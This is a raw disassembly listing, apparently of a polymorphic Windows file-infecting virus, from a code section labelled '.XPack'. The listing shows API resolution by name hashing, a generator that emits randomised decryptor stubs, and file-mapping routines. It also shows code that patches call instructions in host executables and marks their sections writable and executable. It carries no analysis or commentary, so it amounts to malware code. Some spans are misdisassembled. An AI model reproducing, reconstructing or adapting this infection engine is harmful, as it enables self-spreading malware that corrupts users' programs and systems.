loc_4FB27F:				; CODE XREF: sub_4FB26B+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_4FB390
		cmp	dword ptr [edx+10h], 0
		jz	locret_4FB390
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_4FB164
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, esi
		push	eax


loc_4FB2A5:				; CODE XREF: sub_4FB26B+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_4FB2C5
		cmp	cl, 2Eh
		jz	short loc_4FB2B4


loc_4FB2B1:				; CODE XREF: sub_4FB26B+58j
		inc	eax
		jmp	short loc_4FB2A5
; ---------------------------------------------------------------------------


loc_4FB2B4:				; CODE XREF: sub_4FB26B+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, offset dword_4C4C44
		jnz	short loc_4FB2B1


loc_4FB2C5:				; CODE XREF: sub_4FB26B+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_4FB388
		cmp	word ptr [eax-2], 3233h
		jnz	loc_4FB388
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_4FB2E8
		mov	ecx, [edx+10h]
		jmp	short loc_4FB2EA
; ---------------------------------------------------------------------------


loc_4FB2E8:				; CODE XREF: sub_4FB26B+76j
		mov	ecx, [edx]


loc_4FB2EA:				; CODE XREF: sub_4FB26B+7Bj
		add	esi, ecx
		push	ecx
		call	sub_4FB164
		add	esi, dword ptr ss:loc_4039AA[ebp]


loc_4FB2F8:				; CODE XREF: sub_4FB26B+90j
					; sub_4FB26B+117j
		lodsd
		test	eax, eax
		js	short loc_4FB2F8
		jz	loc_4FB387
		push	dword ptr ss:loc_4039AA[ebp]
		push	eax
		call	sub_4FB164
		add	eax, dword ptr ss:loc_4039AA[ebp]
		pop	dword ptr ss:loc_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_4FB324:				; CODE XREF: sub_4FB26B+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_4FB33B
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_4FB324
; ---------------------------------------------------------------------------


loc_4FB33B:				; CODE XREF: sub_4FB26B+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_4FB381
		cmp	ebx, 0DB6E45A8h
		jz	short loc_4FB381
		cmp	ebx, 0FFA13B59h
		jz	short loc_4FB381
		cmp	ebx, 0ACB522D6h
		jz	short loc_4FB381
		cmp	ebx, 0F358E993h
		jz	short loc_4FB381
		cmp	ebx, 0F358E97Dh
		jz	short loc_4FB381
		cmp	ebx, 0E1253F46h
		jz	short loc_4FB381
		cmp	ebx, 0E1253F30h
		jz	short loc_4FB381
		call	dword ptr [ebp+403992h]


loc_4FB381:				; CODE XREF: sub_4FB26B+D6j
					; sub_4FB26B+DEj ...
		pop	ebx
		jmp	loc_4FB2F8
; ---------------------------------------------------------------------------


loc_4FB387:				; CODE XREF: sub_4FB26B+92j
		pop	esi


loc_4FB388:				; CODE XREF: sub_4FB26B+60j
					; sub_4FB26B+6Cj
		add	edx, 14h
		jmp	loc_4FB27F
; ---------------------------------------------------------------------------

locret_4FB390:				; CODE XREF: sub_4FB26B+18j
					; sub_4FB26B+22j
		retn
sub_4FB26B	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4FB392	proc near		; CODE XREF: .XPack:004FB4D0p
					; .XPack:004FB4F6p
		push	4
		pop	eax
		call	sub_4FA9AF
		mov	byte ptr ss:loc_4024D1[ebp], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_4FA9AF
		add	edx, 8
		xchg	edx, ecx


loc_4FB3BA:				; CODE XREF: sub_4FB392:loc_4FB3F9j
		push	5
		pop	eax
		call	sub_4FA9AF
		cmp	dl, 3
		jnb	short loc_4FB3D2
		mov	al, 50h
		add	al, byte ptr ss:loc_4024D1[ebp]
		stosb
		jmp	short loc_4FB3F9
; ---------------------------------------------------------------------------


loc_4FB3D2:				; CODE XREF: sub_4FB392+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_4FB3F3
		mov	al, 11h
		call	sub_4FA9AF
		mov	eax, 1


loc_4FB3E7:				; CODE XREF: sub_4FB392+5Dj
		test	dl, dl
		jz	short loc_4FB3F8
		shl	eax, 1
		dec	dl
		jmp	short loc_4FB3E7
; ---------------------------------------------------------------------------
		jmp	short loc_4FB3F8
; ---------------------------------------------------------------------------


loc_4FB3F3:				; CODE XREF: sub_4FB392+47j
		mov	eax, 80000000h


loc_4FB3F8:				; CODE XREF: sub_4FB392+57j
					; sub_4FB392+5Fj
		stosd


loc_4FB3F9:				; CODE XREF: sub_4FB392+3Ej
		loop	loc_4FB3BA
		retn
sub_4FB392	endp

; ---------------------------------------------------------------------------


loc_4FB3FC:				; CODE XREF: sub_4FBE56+112p
		lea	edi, [ebp+40343Ch]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FB411
		mov	al, 60h
		stosb


loc_4FB411:				; CODE XREF: .XPack:004FB40Cj
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_4FB517
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDD95FD5h
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr [ebp+403431h], 1000000h
		mov	dword ptr ss:loc_40399A[ebp], edi
		jz	short loc_4FB48F
		test	dword ptr [ebp+403431h], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_4FB45A
		mov	eax, 2E8B6467h


loc_4FB45A:				; CODE XREF: .XPack:004FB453j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_4FB466
		mov	al, 5Dh
		stosb


loc_4FB466:				; CODE XREF: .XPack:004FB461j
		test	dword ptr [ebp+403431h], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_4FB48D
		test	dword ptr [ebp+403431h], 4000000h
		mov	eax, 8C583h
		jz	short loc_4FB48D
		mov	eax, 0F8ED83h


loc_4FB48D:				; CODE XREF: .XPack:004FB475j
					; .XPack:004FB486j
		stosd
		dec	edi


loc_4FB48F:				; CODE XREF: .XPack:004FB442j
		test	dword ptr [ebp+403431h], 3
		jz	short loc_4FB49F
		mov	al, 0E9h
		stosb
		stosd


loc_4FB49F:				; CODE XREF: .XPack:004FB499j
		mov	eax, [ebp+403996h]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr [ebp+403431h], 3
		jz	short loc_4FB517
		mov	eax, 36FF6467h
		mov	[ebp+40399Eh], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_4FB392
		mov	al, 20h
		call	sub_4FB1AB
		jecxz	short loc_4FB517
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, [ebp+403431h]
		not	edx
		test	edx, 3
		jnz	short loc_4FB50A
		call	sub_4FB392
		mov	al, 1Fh
		call	sub_4FB1AB
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_4FB50A:				; CODE XREF: .XPack:004FB4F4j
		mov	ecx, edi
		mov	eax, [ebp+40399Eh]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_4FB517:				; CODE XREF: .XPack:004FB41Bj
					; .XPack:004FB4B6j ...
		test	dword ptr [ebp+403431h], 4
		jz	short loc_4FB535
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_4FB535:				; CODE XREF: .XPack:004FB521j
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_4FB58B
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_4FB58B
		mov	eax, 0C9291829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosd
		mov	al, 0B1h
		stosb
		mov	al, [ebp+40342Fh]
		stosb
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		mov	ax, 0FDE2h
		test	dword ptr [ebp+403431h], 10h
		jz	short loc_4FB589
		mov	al, 49h
		stosb
		mov	ax, 0FC75h


loc_4FB589:				; CODE XREF: .XPack:004FB580j
		stosw


loc_4FB58B:				; CODE XREF: .XPack:004FB53Fj
					; .XPack:004FB548j
		mov	al, 0E8h
		stosb
		xor	eax, eax
		stosd
		mov	[ebp+403982h], edi
		test	dword ptr [ebp+403431h], 20h
		jnz	short loc_4FB5AC
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_4FB5AC:				; CODE XREF: .XPack:004FB5A1j
		mov	ax, 0C081h
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4FB5BF
		add	ah, 28h


loc_4FB5BF:				; CODE XREF: .XPack:004FB5BAj
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	dword ptr ss:loc_403986[ebp], edi
		stosd
		test	dword ptr [ebp+403431h], 40000000h
		jnz	short loc_4FB5E3
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_4FB5E3:				; CODE XREF: .XPack:004FB5D8j
		test	dword ptr [ebp+403431h], 80h
		jnz	short loc_4FB5FA
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342A[ebp]
		stosb
		jmp	short loc_4FB637
; ---------------------------------------------------------------------------


loc_4FB5FA:				; CODE XREF: .XPack:004FB5EDj
		mov	ax, 1831h
		test	dword ptr [ebp+403431h], 100h
		jz	short loc_4FB60C
		mov	al, 29h


loc_4FB60C:				; CODE XREF: .XPack:004FB608j
		or	ah, byte ptr ss:loc_40342A[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+403431h], 200h
		jnz	short loc_4FB62F
		mov	ah, 0C8h


loc_4FB62F:				; CODE XREF: .XPack:004FB62Bj
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw


loc_4FB637:				; CODE XREF: .XPack:004FB5F8j
		mov	dword ptr ss:loc_4039A2[ebp], edi
		mov	eax, 243Ch
		stosd
		test	dword ptr [ebp+403431h], 8
		jz	short loc_4FB6BB
		test	dword ptr [ebp+403431h], 400h
		jnz	short loc_4FB666
		mov	al, 0B8h
		or	al, byte ptr ss:loc_40342B[ebp]
		stosb
		jmp	short loc_4FB6B3
; ---------------------------------------------------------------------------


loc_4FB666:				; CODE XREF: .XPack:004FB659j
		test	dword ptr [ebp+403431h], 800h
		jnz	short loc_4FB683
		mov	ax, 0E083h
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_4FB698
; ---------------------------------------------------------------------------


loc_4FB683:				; CODE XREF: .XPack:004FB670j
		mov	ax, 1829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_4FB698:				; CODE XREF: .XPack:004FB681j
		test	dword ptr [ebp+403431h], 1000h
		mov	ax, 0C081h
		jz	short loc_4FB6AB
		add	ah, 8


loc_4FB6AB:				; CODE XREF: .XPack:004FB6A6j
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosw


loc_4FB6B3:				; CODE XREF: .XPack:004FB664j
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_4FB6BB:				; CODE XREF: .XPack:004FB64Dj
		test	dword ptr [ebp+403431h], 40000000h
		jz	short loc_4FB6D0
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_4FB6D0:				; CODE XREF: .XPack:004FB6C5j
		test	dword ptr [ebp+403431h], 2000h
		mov	al, 86h
		jnz	short loc_4FB6E0
		add	al, 4


loc_4FB6E0:				; CODE XREF: .XPack:004FB6DCj
		lea	ecx, [edi-2]
		mov	ah, byte ptr ss:loc_403429[ebp]
		mov	[ebp+40398Ah], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_4FB6FD
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_4FB6FD:				; CODE XREF: .XPack:004FB6F4j
		test	dword ptr [ebp+403431h], 4000h
		mov	ax, 3166h
		jnz	short loc_4FB70F
		mov	ah, 29h


loc_4FB70F:				; CODE XREF: .XPack:004FB70Bj
		stosw
		mov	al, 18h
		or	al, byte ptr ss:loc_40342B[ebp]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr [ebp+403431h], 8000h
		jnz	short loc_4FB72D
		mov	al, 86h


loc_4FB72D:				; CODE XREF: .XPack:004FB729j
		mov	ah, byte ptr ss:loc_403429[ebp]
		stosw
		cmp	ah, 5
		jnz	short loc_4FB741
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_4FB741:				; CODE XREF: .XPack:004FB738j
		test	dword ptr [ebp+403431h], 10000h
		jnz	short loc_4FB758
		mov	al, 40h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		jmp	short loc_4FB767
; ---------------------------------------------------------------------------


loc_4FB758:				; CODE XREF: .XPack:004FB74Bj
		mov	ax, 0C083h
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	al, 1
		stosb


loc_4FB767:				; CODE XREF: .XPack:004FB756j
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_4FB7A2
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_4FB799
		mov	al, 0C0h
		or	al, byte ptr ss:loc_40342B[ebp]
		mov	ah, [ebp+403430h]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_4FB7A1
; ---------------------------------------------------------------------------


loc_4FB799:				; CODE XREF: .XPack:004FB77Dj
		mov	al, 40h
		or	al, byte ptr ss:loc_40342B[ebp]


loc_4FB7A1:				; CODE XREF: .XPack:004FB797j
		stosb


loc_4FB7A2:				; CODE XREF: .XPack:004FB771j
		test	dword ptr [ebp+403431h], 80000h
		jnz	short loc_4FB7BE
		mov	ax, 0E883h
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		mov	al, 1
		jmp	short loc_4FB7C6
; ---------------------------------------------------------------------------


loc_4FB7BE:				; CODE XREF: .XPack:004FB7ACj
		mov	al, 48h
		or	al, byte ptr ss:loc_40342A[ebp]


loc_4FB7C6:				; CODE XREF: .XPack:004FB7BCj
		stosb
		test	dword ptr [ebp+403431h], 100000h
		mov	cl, 75h
		jnz	short loc_4FB7FA
		mov	ax, 0F883h
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+40398Ah], edi
		test	dword ptr [ebp+403431h], 200000h
		jnz	short loc_4FB815
		mov	cl, 77h
		jmp	short loc_4FB815
; ---------------------------------------------------------------------------


loc_4FB7FA:				; CODE XREF: .XPack:004FB7D3j
		mov	ax, 1809h
		or	ah, byte ptr ss:loc_40342A[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342A[ebp]
		stosw
		sub	[ebp+40398Ah], edi


loc_4FB815:				; CODE XREF: .XPack:004FB7F4j
					; .XPack:004FB7F8j
		mov	al, cl
		mov	ah, [ebp+40398Ah]
		stosw
		mov	al, 58h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_4FB8BF
		mov	eax, 268B6467h
		mov	ecx, [ebp+403431h]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_4FB856
		mov	eax, 2E876467h


loc_4FB856:				; CODE XREF: .XPack:004FB84Fj
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_4FB866
		mov	ax, 0E58Bh
		stosw


loc_4FB866:				; CODE XREF: .XPack:004FB85Ej
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr [ebp+403431h], 1000000h
		jnz	short loc_4FB8BC
		test	dword ptr [ebp+403431h], 8000000h
		jz	short loc_4FB8AE
		mov	ax, 6C8Dh
		test	dword ptr [ebp+403431h], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_4FB8A9
		mov	ax, 424h
		stosw
		jmp	short loc_4FB8BC
; ---------------------------------------------------------------------------


loc_4FB8A9:				; CODE XREF: .XPack:004FB89Fj
		mov	al, 8
		stosb
		jmp	short loc_4FB8BC
; ---------------------------------------------------------------------------


loc_4FB8AE:				; CODE XREF: .XPack:004FB886j
		mov	ax, 5D58h
		add	al, byte ptr ss:loc_40342B[ebp]
		stosw
		jmp	short loc_4FB8BF
; ---------------------------------------------------------------------------


loc_4FB8BC:				; CODE XREF: .XPack:004FB87Aj
					; .XPack:004FB8A7j ...
		mov	al, 0C9h
		stosb


loc_4FB8BF:				; CODE XREF: .XPack:004FB832j
					; .XPack:004FB8BAj
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FB8EB
		mov	al, 7
		sub	al, byte ptr ss:loc_403429[ebp]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, byte ptr ss:loc_403429[ebp]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_4FB8EB:				; CODE XREF: .XPack:004FB8C9j
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		test	dword ptr [ebp+403431h], 20h
		jz	short loc_4FB956
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_4FB91C


loc_4FB90F:				; CODE XREF: .XPack:004FB91Aj
		test	edi, 3
		jz	short loc_4FB91C
		mov	al, 90h
		stosb
		jmp	short loc_4FB90F
; ---------------------------------------------------------------------------


loc_4FB91C:				; CODE XREF: .XPack:004FB90Dj
					; .XPack:004FB915j
		mov	eax, edi
		mov	ecx, [ebp+403982h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr [ebp+403431h], 400000h
		jz	short loc_4FB94A
		mov	ax, 0C350h
		or	al, byte ptr ss:loc_403429[ebp]
		jmp	short loc_4FB954
; ---------------------------------------------------------------------------


loc_4FB94A:				; CODE XREF: .XPack:004FB93Cj
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]


loc_4FB954:				; CODE XREF: .XPack:004FB948j
		stosw


loc_4FB956:				; CODE XREF: .XPack:004FB901j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_4FB9D5
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_4FB97B


loc_4FB96E:				; CODE XREF: .XPack:004FB979j
		test	edi, 3
		jz	short loc_4FB97B
		mov	al, 90h
		stosb
		jmp	short loc_4FB96E
; ---------------------------------------------------------------------------


loc_4FB97B:				; CODE XREF: .XPack:004FB96Cj
					; .XPack:004FB974j
		mov	ecx, edi
		mov	eax, dword ptr ss:loc_40399A[ebp]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+403431h], 800000h
		jnz	short loc_4FB9A4
		lea	eax, loc_403429[ebp]


loc_4FB99C:				; CODE XREF: .XPack:004FB9A2j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_4FB99C


loc_4FB9A4:				; CODE XREF: .XPack:004FB994j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_4FB9B9
		mov	ax, 0C031h
		stosw


loc_4FB9B9:				; CODE XREF: .XPack:004FB9B1j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_4FB9D2
		mov	ax, 0C031h
		stosw


loc_4FB9D2:				; CODE XREF: .XPack:004FB9CAj
		mov	al, 0C3h
		stosb


loc_4FB9D5:				; CODE XREF: .XPack:004FB960j
		lea	eax, [ebp+40343Ch]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4FB9ED
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_4FBA06
; ---------------------------------------------------------------------------


loc_4FB9ED:				; CODE XREF: .XPack:004FB9E5j
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, dword ptr ss:loc_4039A2[ebp]
		add	[ebp+403982h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_4FBA06:				; CODE XREF: .XPack:004FB9EBj
		mov	dword ptr ss:loc_40106D[ebp], edi
		mov	edi, dword ptr ss:loc_403986[ebp]
		sub	eax, [ebp+403982h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_4FBA26
		neg	eax


loc_4FBA26:				; CODE XREF: .XPack:004FBA22j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4FBA2A	proc near		; CODE XREF: sub_4FBE56+2A8p
		push	esi
		push	edi
		cmp	dword ptr [ebp+4039AEh], 0
		jz	loc_4FBC12
		call	near ptr loc_4FBA4A+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_4FBA4A:				; CODE XREF: sub_4FBA2A+Fp
		add	bh, bh
sub_4FBA2A	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_4FB164
		mov	edx, [ebp+4039A6h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_4FB164
		mov	edi, [ebp+4039A6h]
		push	esi
		call	sub_4FB164
		mov	edx, [ebp+4039A6h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_4FBC12
		jz	loc_4FBC12
		add	esi, dword ptr ss:loc_4039AA[ebp]
		add	esi, [ebp+403972h]
; START	OF FUNCTION CHUNK FOR sub_4FBBE3


loc_4FBAC4:				; CODE XREF: sub_4FBBE3+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_4FBB6F
		lea	eax, [esi+4]
		sub	eax, [ebp+403972h]
		add	eax, [esi]
		push	eax
		call	sub_4FB164
		cmp	dword ptr [ebp+4039A6h], 0
		jnz	short loc_4FBAF2
		cmp	eax, [edi+0Ch]
		jnb	loc_4FBC0B
		jmp	short loc_4FBAFE
; ---------------------------------------------------------------------------


loc_4FBAF2:				; CODE XREF: sub_4FBBE3-FEj
		cmp	[ebp+4039A6h], edx
		jnz	loc_4FBC0B


loc_4FBAFE:				; CODE XREF: sub_4FBBE3-F3j
		add	eax, [ebp+403972h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_4FBC0B
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_4FB164
		cmp	[ebp+4039A6h], edi
		jnz	loc_4FBC0B
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_4FBC0B
		cmp	eax, [edi+8]
		jnb	loc_4FBC0B


loc_4FBB47:				; CODE XREF: sub_4FBBE3+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+403972h]
		push	edx
		push	eax
		push	dword ptr [ebp+4039BEh]
		call	dword ptr ss:loc_403548[ebp]
		pop	edx
		test	eax, eax
		jnz	loc_4FBC21
		jmp	loc_4FBC0B
; ---------------------------------------------------------------------------


loc_4FBB6F:				; CODE XREF: sub_4FBBE3-11Cj
		cmp	al, 0FFh
		jnz	loc_4FBC0B
		cmp	byte ptr [esi],	15h
		jnz	loc_4FBC0B
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_4FB164
		cmp	[ebp+4039A6h], edi
		jnz	short loc_4FBC0B
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, [ebp+403972h]
		mov	dword ptr ss:loc_4039CA[ebp], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_4FBBB8
		cmp	eax, [ebp+4039C6h]
		jb	short loc_4FBC21


loc_4FBBB8:				; CODE XREF: sub_4FBBE3-35j
		cmp	eax, 70000000h
		jb	short loc_4FBBF6
		call	sub_4FBBE3
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, dword ptr ss:loc_4039CA[ebp]
		jnz	short locret_4FBBE2
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_4FBBFD
; ---------------------------------------------------------------------------

locret_4FBBE2:				; CODE XREF: sub_4FBBE3-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_4FBBE3

; =============== S U B	R O U T	I N E =======================================



sub_4FBBE3	proc near		; CODE XREF: sub_4FBBE3-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 004FBAC4 SIZE 0000011F BYTES

		pop	dword ptr [ebp+403992h]
		pusha
		mov	esi, [ebp+403972h]
		call	sub_4FB26B
		popa


loc_4FBBF6:				; CODE XREF: sub_4FBBE3-26j
		test	eax, 80000000h
		jnz	short loc_4FBC0B


loc_4FBBFD:				; CODE XREF: sub_4FBBE3-3j
		sub	eax, [edi+0Ch]
		jb	short loc_4FBC0B
		cmp	eax, [edi+8]
		jb	loc_4FBB47


loc_4FBC0B:				; CODE XREF: sub_4FBBE3-F9j
					; sub_4FBBE3-EBj ...
		dec	ecx
		jnz	loc_4FBAC4


loc_4FBC12:				; CODE XREF: sub_4FBA2A+9j
					; .XPack:004FBAACj ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_4FBC5D
; ---------------------------------------------------------------------------


loc_4FBC21:				; CODE XREF: sub_4FBBE3-7Fj
					; sub_4FBBE3-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+4039AEh]
		lea	edi, [ecx+2435h]
		add	eax, [ebp+403972h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_4FBC5D:				; CODE XREF: sub_4FBBE3+3Cj
		pop	edi
		pop	esi
		retn
sub_4FBBE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FBC60	proc near		; CODE XREF: .XPack:004FBE2Ep
					; sub_4FBE56+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr ss:loc_40357C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4FBD31
		mov	dword ptr ss:loc_403952[ebp], eax
		push	0
		push	esi
		call	dword ptr [ebp+4035B4h]
		test	eax, eax
		jz	locret_4FBD31
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr ss:loc_40355C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4FC1E9
		mov	[ebp+403956h], eax
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+403584h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4FC1DD
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4FC1DD
		mov	[ebp+40396Ah], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+403956h]
		call	dword ptr ss:loc_403560[ebp]
		test	eax, eax
		jz	loc_4FC1DD
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr ss:loc_4035A0[ebp]
		test	eax, eax
		jz	loc_4FC1B5
		mov	[ebp+403972h], eax

locret_4FBD31:				; CODE XREF: sub_4FBC60+10j
					; sub_4FBC60+27j ...
		retn
sub_4FBC60	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FBD32	proc near		; CODE XREF: sub_4FBE56+117p
					; sub_4FBE56+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4FBD4C
		add	eax, dword ptr ss:loc_40106D[ebp]


loc_4FBD4C:				; CODE XREF: sub_4FBD32+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+40397Ah], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, dword ptr ss:loc_40106D[ebp]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_4FBD32	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FBD77	proc near		; CODE XREF: sub_4FBE56:loc_4FBEA5p
					; sub_4FBE56+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


